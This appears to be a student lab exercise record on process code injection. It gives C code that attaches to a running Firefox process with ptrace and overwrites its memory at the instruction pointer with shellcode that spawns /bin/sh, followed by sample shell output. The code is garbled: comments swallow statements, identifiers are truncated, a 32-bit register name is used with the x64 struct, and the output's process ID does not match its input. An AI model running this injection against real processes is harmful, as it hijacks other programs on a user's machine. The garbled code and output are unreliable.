

Ex. No.: 8

PROCESS CODE INJECTION

Date:

Aim:

To do process code injection on Firefox using ptrace system call

Algorithm:

- Find out the pid of the running Firefox program.
- Create the code injection file.
- Get the pid of the Firefox from the command line arguments.
- Allocate memory buffers for the shellcode.
- Attach to the victim process with `PTRACE_ATTACH`.
- Get the register values of the attached process.
- Use `PTRACE_POKETEXT` to insert the shellcode.
- Detach from the victim process using `PTRACE_DETACH`

Program Code:

```
# include <stdio.h> //C standard input output
# include <stdlib.h> //C Standard General Utilities
Library # include <string.h> //C string lib header
# include <unistd.h> //standard symbolic constants and
types # include <sys/wait.h> //declarations for waiting
# include <sys/ptrace.h> //gives access to ptrace
functionality # include <sys/user.h> //gives ref to regs

//The shellcode that calls /bin/sh
char shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};

//header for our program.
void header()
{
    printf("----Memory bytecode injector ----\n");
}

//main program notice we take command line
options int main(int argc,char**argv) {

    int i,size,pid=0;
    struct user_regs_struct reg; //struct that gives access to registers
```

```

//note that this regs will be in x64 for me
//unless your using 32bit then eip,eax,edx etc...

char*buff;
header();
//we get the command line options and assign them appropriately!

id=atoi(argv[1]);size=sizeof(shellcode);//allocate a char size memory

uff=(char*)malloc(size);

//fill the buff memory with 0s upto size memset(buff,0x0,size);

//copy shellcode from source to destination
memcpy(buff,shellcode,sizeof(shellcode));
//attach process of pid
ptrace(PTRACE_ATTACH,pid,0,0);
//wait for child to change state
wait((int*)0);
//get process pid registers i.e Copy the process pid's general-
purpose //or floating-point registers,respectively,
//to the address reg in the tracer
ptrace(PTRACE_GETREGS,pid,0,&reg);
printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);

//Copy the word data to the address buff in the process's memory
for(i=0;i<size;i++){
ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
//detach from the process and free buff
memory ptrace(PTRACE_DETACH,pid,0,0);
free(buff);
return 0;
}

```

Output:

```

[root@localhost ~]# vi codeinjection.c
[root@localhost ~]# gcc codeinjection.c -o
codeinject [root@localhost ~]#ps -e|grep
firefox 1433 ?00:01:23 firefox
[root@localhost ~]# ./codeinject 1433
----Memory bytecode injector-----
Writing EIP 0x6, process 1707
[root@localhost ~]#

```

Result: